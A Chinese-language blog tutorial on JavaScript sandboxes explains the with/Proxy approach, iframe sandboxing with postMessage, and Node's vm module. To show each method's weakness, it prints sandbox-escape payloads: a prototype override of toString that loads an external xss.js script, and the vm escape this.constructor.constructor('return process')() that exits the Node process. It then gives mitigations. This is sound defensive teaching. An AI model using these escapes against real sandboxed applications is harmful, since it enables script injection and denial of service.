乐趣区

说说JS中的沙箱

jiezi

其实在前端编码中，或多或少都会接触到沙箱，可能天真善良的你没有留意到，又可能，你还并不知道它的真正用途，学会使用沙箱，可以避免潜在的代码注入以及未知的安全问题。

前言

沙箱，即 sandbox，顾名思义，就是让你的程序跑在一个隔离的环境下，不对外界的其他程序造成影响，通过创建类似沙盒的独立作业环境，在其内部运行的程序并不能对硬盘产生永久性的影响。

举个简单的栗子，其实我们的浏览器，Chrome 中的每一个标签页都是一个沙箱（sandbox）。渲染进程被沙箱（Sandbox）隔离，网页 web 代码内容必须通过 IPC 通道才能与浏览器内核进程通信，通信过程会进行安全的检查。沙箱设计的目的是为了让不可信的代码运行在一定的环境中，从而限制这些代码访问隔离区之外的资源。

JS 中沙箱的使用场景

前端 JS 中也会有应用到沙箱的时候，毕竟有时候你要获取到的是第三方的 JS 文件或数据？而这数据又是不一定可信的时候，创建沙箱，做好保险工作尤为重要。

  • 1、jsonp：解析服务器所返回的 jsonp 请求时，如果不信任 jsonp 中的数据，可以通过创建沙箱的方式来解析获取数据；（TSW 中处理 jsonp 请求时，创建沙箱来处理和解析数据）；
  • 2、执行第三方 js：当你又必要执行第三方 js 的时候，而这份 js 文件又不一定可信的时候；
  • 3、在线代码编辑器：相信大家都有使用过一些在线代码编辑器，而这些代码的执行，基本都会放置在沙箱中，放置对页面本身造成影响；（例如：https://codesandbox.io/s/new）
  • 4、vue 的服务端渲染：vue 的服务端渲染实现中，通过创建沙箱执行前端的 bundle 文件；在调用 createBundleRenderer 方法时候，允许配置 runInNewContext 为 true 或 false 的形式，判断是否传入一个新创建的 sandbox 对象以供 vm 使用；
  • 5、vue 模板中表达式计算：vue 模板中表达式的计算被放在沙盒中，只能访问全局变量的一个白名单，如 Math 和 Date。你不能够在模板表达式中试图访问用户定义的全局变量。

总而言之：当你要解析或执行不可信的 JS 的时候，当你要隔离被执行代码的执行环境的时候，当你要对执行代码中可访问对象进行限制的时候，沙箱就派上用场了。

如何实现 / 使用沙箱

1、new Function + with

  • 1、首先从最简陋的方法说起，假如你想要通过 eval 和 function 直接执行一段代码，这是不现实的，因为代码内部可以沿着作用域链往上找，篡改全局变量，这是我们不希望的，所以你需要让沙箱内的变量访问都在你的监控范围内；不过，你可以使用 with API，在 with 的块级作用域下，变量访问会优先查找你传入的参数对象，之后再往上找，所以相当于你变相监控到了代码中的“变量访问”：
function compileCode (src) {src = 'with (exposeObj) {' + src + '}'
  return new Function('exposeObj', src) 
}

接下里你要做的是，就是暴露可以被访问的变量 exposeObj，以及阻断沙箱内的对外访问。通过 es6 提供的 proxy 特性，可以获取到对对象上的所有改写：

function compileCode (src) {src = `with (exposeObj) {${src} }`
  return new Function('exposeObj', src) 
}

function proxyObj(originObj){
    let exposeObj = new Proxy(originObj,{has:(target,key)=>{if(["console","Math","Date"].indexOf(key)>=0){return target[key]
            }
            if(!target.hasOwnProperty(key)){throw new Error(`Illegal operation for key ${key}`)
            }
            return target[key]
        },
    })
    return exposeObj
}

function createSandbox(src,obj){let proxy = proxyObj(obj)
 compileCode(src).call(proxy,proxy) // 绑定 this 防止 this 访问 window
}

通过设置 has 函数，可以监听到变量的访问，在上述代码中，仅暴露个别外部变量供代码访问，其余不存在的属性，都会直接抛出 error。其实还存在 get、set 函数，但是如果 get 和 set 函数只能拦截到当前对象属性的操作，对外部变量属性的读写操作无法监听到，所以只能使用 has 函数了。接下来我们测试一下：

const testObj = {
    value:1,
    a:{b:{c:1}
    }
}
createSandbox("value='haha';console.log(a)",testObj)

 看起来一切似乎没有什么问题，但是问题出在了传入的对象，当调用的是 console.log(a.b) 的时候，has 方法是无法监听到对 b 属性的访问的，假设所执行的代码是不可信的，这时候，它只需要通过 a.b.__proto__就可以访问到 Object 构造函数的原型对象，再对原型对象进行一些篡改，例如将 toString 就能影响到外部的代码逻辑的。

a.b.__proto__.toString = ()=>{var script = document.createElement("script");
    script.src = "http://.../xss.js"
    script.type = "text/javascript";
    document.body.appendChild(script)
}

例如上面所展示的代码，通过访问原型链的方式，实现了沙箱逃逸，并且篡改了原型链上的 toString 方法，一旦外部的代码执行了 toString 方法，就可以实现 xss 攻击，注入第三方代码，为什么代码里可以访问 document 呢？因为这本身是一个函数的赋值操作，并没有执行，所以也不存在被 has 函数拦截了。而当你调用 toString 的时候，已经是在外部的代码调用了，has 函数更加无从知晓。

你可能会想，如果我切断原型链的访问，是否就杜绝了呢？的确，你可以通过 Object.create(null) 的方式，传入一个不含有原型链的对象，并且让暴露的对象只有一层，不传入嵌套的对象，但是，即使是基本类型值，数字或字符串，同样也可以通过__proto__查找到原型链，而且，即使不传入对象，你还可以通过下面这种方式绕过：

({}).__proto__.toString= ()=>{console.log(111)};

可见，new Function + with 的这种沙箱方式，防君子不防小人，当然，你也可以通过对传入的 code 代码做代码分析或过滤？假如传入的代码不是按照的规定的数据格式（例如 json），就直接抛出错误，阻止恶意代码注入，但这始终不是一种安全的做法。

2、借助 iframe 实现沙箱

前面介绍一种劣质的、不怎么安全的方法构造了一个简单的沙箱，但是在前端最常见的方法，还是利用 iframe 来构造一个沙箱，such as 在线代码编辑器中：https://codesandbox.io/s/news。

这种方式更为方便、简单、安全，也是目前比较通用的前端实现沙箱的方案，假如你要执行的代码不是自己写的代码，不是可信的数据源，那么务必要使用 iframe 沙箱。sandbox 是 h5 的提出的一个新属性，启用方式就是在 iframe 标签中使用 sandbox 属性:

<iframe sandbox src="..."></iframe>

但是这也会带来一些限制：

  1. script 脚本不能执行
  2. 不能发送 ajax 请求
  3. 不能使用本地存储，即 localStorage,cookie 等
  4. 不能创建新的弹窗和 window
  5. 不能发送表单
  6. 不能加载额外插件比如 flash 等

不过别方，你可以对这个 iframe 标签进行一些配置：

接下里你只需要结合 postMessage API，将你需要执行的代码，和需要暴露的数据传递过去，然后和你的 iframe 页面通信就行了。

1）不过你需要注意的是，在子页面中，要注意不要让执行代码访问到 contentWindow 对象，因为你需要调用 contentWindow 的 postMessageAPI 给父页面传递信息，假如恶意代码也获取到了 contentWindow 对象，相当于就拿到了父页面的控制权了，这个时候可大事不妙。

2）当你使用 postMessageAPI 的时候，由于 sandbox 的 origin 默认为 null，需要设置 allow-same-origin 允许两个页面进行通信，意味着子页面内可以发起请求，这时候你需要防范好 CSRF，允许了同域请求，不过好在，并没有携带上 cookie。

3）当你调用 postMessageAPI 传递数据给子页面的时候，传输的数据对象本身已经通过结构化克隆算法复制，如果你还不了解结构化克隆算法可以查看这个。

简单的说，通过 postMessageAPI 传递的对象，已经由浏览器处理过了，原型链已经被切断，同时，传过去的对象也是复制好了的，占用的是不同的内存空间，两者互不影响，所以你不需要担心出现第一种沙箱做法中出现的问题。

3、nodejs 中的沙箱

nodejs 中使用沙箱很简单，只需要利用原生的 vm 模块，便可以快速创建沙箱，同时指定上下文。

const vm = require('vm');
const x = 1;
const sandbox = {x: 2};
vm.createContext(sandbox); // Contextify the sandbox.

const code = 'x += 40; var y = 17;';
vm.runInContext(code, sandbox);

console.log(sandbox.x); // 42
console.log(sandbox.y); // 17

console.log(x); // 1;   y is not defined.

vm 中提供了 runInNewContext、runInThisContext、runInContext 三个方法，三者的用法有个别出入，比较常用的是 runInNewContext 和 runInContext，可以传入参数指定好上下文对象。

但是 vm 是绝对安全的吗？不一定。

const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()")

 通过上面这段代码，我们可以通过 vm，停止掉主进程 nodejs，导致程序不能继续往下执行，这是我们不希望的，解决方案是绑定好 context 上下文对象，同时，为了避免通过原型链逃逸（nodejs 中的对象并没有像浏览器端一样进行结构化复制，导致原型链依然保留），所以我们需要切断原型链，同时对于传入的暴露对象，只提供基本类型值。

let ctx = Object.create(null);
ctx.a = 1; // ctx 上不能包含引用类型的属性
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);

 让我们来看一下 TSW 框架中是怎么使用的：

const vm = require('vm');
const SbFunction = vm.runInNewContext('(Function)', Object.create(null));        // 沙堆
...
if (opt.jsonpCallback) {code = `var result=null; var ${opt.jsonpCallback}=function($1){result=$1}; ${responseText}; return result;`;
    obj = new SbFunction(code)();} 
...

通过 runInNewContext 返回沙箱中的构造函数 Function，同时传入切断原型链的空对象防止逃逸，之后再外部使用的时候，只需要调用返回的这个函数，和普通的 new Function 一样调用即可。

即使这样，我们也不能保证这是绝对的安全，毕竟可能还有潜在的沙箱漏洞呢？

总结

即使我们知道了如何在开发过程中使用沙箱来让我们的执行环境不受影响，但是沙箱也不一定是绝对安全的，毕竟每年都有那么多黑客绞尽脑汁钻研出如何逃出浏览器沙箱和 nodejs 沙箱，所以最安全的做法，是不执行不可信任的第三方 JS，不要信任任何用户数据源，那你的代码就永远安全，不会被注入。

出于好奇整理了这篇文章，如有错误还望斧正。

退出移动版